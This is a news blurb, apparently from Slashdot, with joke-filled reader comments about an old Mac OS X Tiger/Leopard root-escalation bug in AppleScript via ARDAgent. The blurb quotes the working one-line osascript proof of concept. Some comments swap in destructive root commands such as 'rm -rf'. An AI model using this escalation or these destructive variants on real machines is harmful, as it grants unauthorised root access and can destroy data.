Mac OS X Root Escalation Through AppleScript 359
An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
Re:Can we get some sources? (Score:5, Funny)
so i tried replacing "whoami" with "rm -rf
!@#ca$a%H&(
+++NO CARRIER
Yes, but does it run on Linux^H^H^H^H^H (Score:2, Funny)
Re:This is a serious privilege escalation bug, but (Score:5, Funny)
Re:This is a serious privilege escalation bug, but (Score:3, Funny)
I found another privelege escalation!
$ su
Password:
#
Re:I confirmed it to. (Score:5, Funny)
Re:I confirmed it to. (Score:4, Funny)
Re:It's easier than that.. (Score:2, Funny)
What's the harm of this? (Score:5, Funny)
Re:This is a serious privilege escalation bug, but (Score:2, Funny)
$ sudo su
#
Re:Oh good (Score:5, Funny)
Re:Oh good (Score:5, Funny)
I'm a Mac. And I'm a PC (Score:5, Funny)
PC: I can relate.
Mac: No!! %$#& %$#& %$#&
PC: Don't feel so glum, Mac, it happens to everyone once in a while. Look at it this way -- its a sign you're growing up.
Mac: NOOOOOOOOOOOOOOOOOOOOOOOOOO.
PC: You know, they can do wonderful things these days with firewall software.
Mac: I want to cut myself.
PC: Not a good idea as a root user, Mac.
Mac: *glowers*
PC: I only kid because I love you.
Re:Recipe for neutralizing it (Score:5, Funny)
osascript -e 'tell app "ARDAgent" to do shell script "gzip ARDAgent.app"';
Re:Recipe for neutralizing it (Score:5, Funny)
it's: osascript -e 'tell app "ARDAgent" to do shell script "rm -rf ARDAgent.app"';
Re:Can we get some sources? (Score:2, Funny)
NO CARRIER
Re:Oh good (Score:3, Funny)